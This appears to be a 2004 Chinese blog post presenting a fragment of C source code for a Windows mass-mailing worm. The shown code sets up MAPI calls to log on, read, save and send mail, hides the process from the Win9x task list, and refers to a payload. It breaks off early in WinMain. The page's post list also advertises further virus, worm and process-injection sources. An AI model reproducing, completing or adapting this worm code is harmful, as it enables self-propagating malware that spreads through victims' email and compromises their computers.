#include<windows.h> #include<mapi.h> #include<memory.h> #include"res.rh" // API form MAPI32 use by the worm ULONG (PASCAL FAR MSendMail)(ULONG, ULONG, MapiMessage, FLAGS, ULONG); ULONG (PASCAL FAR *MLogon)(ULONG, LPTSTR, LPTSTR, FLAGS, ULONG, LPLHANDLE); ULONG (PASCAL FAR *MFindNext)(LHANDLE, ULONG, LPTSTR, LPTSTR, FLAGS, ULONG, LPTSTR); ULONG (PASCAL FAR *MReadMail)(LHANDLE, ULONG, LPTSTR, FLAGS, ULONG, lpMapiMessage FAR *); ULONG (PASCAL FAR *MSaveMail)(LHANDLE, ULONG, lpMapiMessage, FLAGS, ULONG, LPTSTR); ULONG (PASCAL FAR *MFreeBuffer)(LPVOID); // for task list stealth under win9x ULONG (PASCAL FAR *RegisterServiceProcess)(ULONG, ULONG); void SendMail(LHANDLE session, char *subject, char *sfrom, char *sto, char *smes); BOOL CALLBACK MDialogProc(HWND, UINT, WPARAM, LPARAM); BOOL CALLBACK MDialogProcPay(HWND, UINT, WPARAM, LPARAM); BOOL CALLBACK MDialogProcPayPaint(HWND, UINT, WPARAM, LPARAM); int PASCAL WinMain(HINSTANCE, HINSTANCE, LPSTR, int); void fake() { fake(); } // fake function HBITMAP bmp; // for the payload char fileName[512]; #pragma argsused // main int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { SYSTEMTIME syst; // for payload char buffer[512]; // erm... HINSTANCE MAPIlHnd; // to manage MAPI32.DLL LHANDLE session; // to manage the session login char messId[512]; // to store messages identifiers MapiMessage *mess; // to store the mails we read char subject[1024], address[1024], body[8192], server[1024]; // to manage... guess! long i,j; seath 发表于 2004-01-03 03:21 引用(Trackback0) | 编辑 评论 发表评论 最后更新 我写的病毒疫苗程序 我编写的病毒Trojan.Dicta.5632 动态的查找Kernel32.dll的模块句柄与 GetProcAddress的API函数地址 WIN9X内核线程注入及进程不死技 SEH in ASM 研究 p2p蠕虫的代码 Elkern.C源代码 CIH1.2完全源程序 MBR加载过程 中断发生时候